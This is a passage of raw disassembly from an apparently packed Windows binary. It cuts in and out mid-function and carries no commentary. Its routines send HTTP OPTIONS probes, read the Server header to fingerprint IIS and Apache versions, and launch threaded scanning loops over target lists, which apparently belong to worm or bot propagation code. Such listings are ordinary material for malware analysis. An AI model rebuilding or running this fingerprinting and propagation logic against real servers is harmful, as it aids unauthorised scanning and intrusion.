		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CD60
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: .packed:004168CBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CDAE[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CDB6[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CDB6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CDB2[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CDAE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CDAE[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CDAE[eax]
		cmp	eax, dword_41CDAE[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CE48
		push	[ebp+var_10]
		call	sub_416BA2
		add	esp, 0Ch
		push	6
		push	offset dword_41CE40
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CE38
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41F028
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41F028
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax


loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------


loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, byte_41DF10
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF10
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------


loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3


loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1


loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2


loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3


loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2


loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al


loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CF30
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E
		add	esp, 14h
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CEF8
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	dword_41709C


loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0


loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C


loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------


loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41F028
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------


loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	dword_41709C
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35


loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------


loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------


loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx


loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------


loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CEE4
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	dword_41709C
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax


loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------


loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	flt_417270
		push	ecx
		push	ecx
